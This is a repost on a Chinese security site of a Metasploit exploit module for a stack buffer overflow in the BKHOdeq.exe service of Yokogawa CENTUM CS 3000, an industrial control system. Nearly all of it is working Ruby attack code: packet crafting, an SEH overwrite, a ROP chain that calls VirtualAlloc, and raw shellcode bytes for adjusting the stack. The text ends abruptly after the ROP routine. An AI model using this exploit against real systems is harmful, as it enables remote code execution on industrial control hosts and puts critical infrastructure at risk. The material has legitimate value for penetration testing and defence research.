Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow Vulnerability

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow Vulnerability

来源：metasploit.com 作者：Redsadic 发布时间：2014-03-12

##

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow',

'Description' => %q{

This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability

exists in the service BKHOdeq.exe when handling specially crafted packets. This module has

been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3 and Windows

2003 SP2.

},

'Author' =>

[

'juan vazquez',

'Redsadic <julian.vilas[at]gmail.com>'

],

'References' =>

[

[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],

[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]

],

'Payload' =>

{

'Space' => 6000,

'DisableNops' => true,

'BadChars' => ":\r\n"

},

'Platform' => 'win',

'Targets' =>

[

[ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]',

{

'Ret' => 0x0042068e, # stackpivot from 2488 BKHOdeq.exe # ADD ESP,9B8 # RETN

'Offset' => 8660,

'StackPivotAdjustment' => 108

}

]

],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'WfsDelay' => 10

},

'DisclosureDate' => 'Mar 10 2014',

'DefaultTarget' => 0))

register_options(

[

# Required for EIP offset

Opt::RPORT(20171)

], self.class)

end

def check

# It forces an huge allocation, which should fail,

# and return back an error answer from the server

# while parsing the packet header.

pkt = build_pkt(0xffffffff)

res = send_pkt(pkt)

if valid_response?(res)

return Exploit::CheckCode::Detected

end

Exploit::CheckCode::Safe

end

def exploit

my_payload = payload.encoded

rop_chain = create_rop_chain

data = rand_text(target['StackPivotAdjustment'])

data << rop_chain

data << stack_adjust

data << my_payload

data << rand_text(target['Offset'] - data.length)

data << generate_seh_record(target.ret)

pkt = build_pkt(data.length, data)

print_status("Trying target #{target.name}, sending #{pkt.length} bytes...")

connect

sock.put(pkt)

disconnect

end

def build_pkt(data_length, data = "")

header = rand_text(4) # iMark

header << [data_length].pack("N") # Data length

header << rand_text(4) # NumSet

header << rand_text(2) # req

header << rand_text(2) # Unknown

pkt = header + data

pkt

end

def send_pkt(data)

connect

sock.put(data)

res = sock.get_once

disconnect

res

end

def valid_response?(data)

return false unless data

return false unless data.length == 4

return false unless result_code(data) == 0

true

end

def result_code(data)

data.unpack("N").first

end

def stack_adjust

adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb

adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit

adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit

adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset

adjust

end

def create_rop_chain

# rop chain generated with mona.py - www.corelan.be

rop_gadgets =

[

0x63b27a60, # RET # padding on XP SP3

0x63b27a5f, # POP EAX # RETN [libbkhMsg.dll]

0x61e761e0, # ptr to &VirtualAlloc() [IAT LibBKCCommon.dll]

0x61e641e4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [LibBKCCommon.dll]

0x00405522, # PUSH EAX # TEST EAX,C0330042 # POP ESI # ADD ESP,6D8 # RETN [BKHOdeq.exe]

].flatten.pack("V*")

rop_gadgets << rand_text(1752) # Padding because of the "ADD ESP,6D8" instr

rop_gadgets << [

0x61e62aa4, # POP EBP # RETN [LibBKCCommon.dll]

0x61e648c0, # & push esp # ret [LibBKCCommon.dll]

0x66f3243f, # POP EBX # RETN [libBKBEqrp.dll]

0x00000001, # 0x00000001-> ebx

0x61e729dd, # POP EDX # MOV EAX,5E5FFFFF # RETN [LibBKCCommon.dll]

0x00001000, # 0x00001000-> edx

0x63a93f6f, # POP ECX # RETN [libbkhopx.dll]

0x00000040, # 0x00000040-> ecx

0x63ad1f6a, # POP EDI # RETN [libbkhOdeq.dll]

0x63dd3812, # RETN (ROP NOP) [libbkhCsSrch.dll]

0x61e60b4c, # POP EAX # RETN [LibBKCCommon.dll]

0x90909090, # nop

0x63ae5cc3, # PUSHAD # RETN [libbkhOdbh.dll]

].flatten.pack("V*")

rop_gadgets

end

[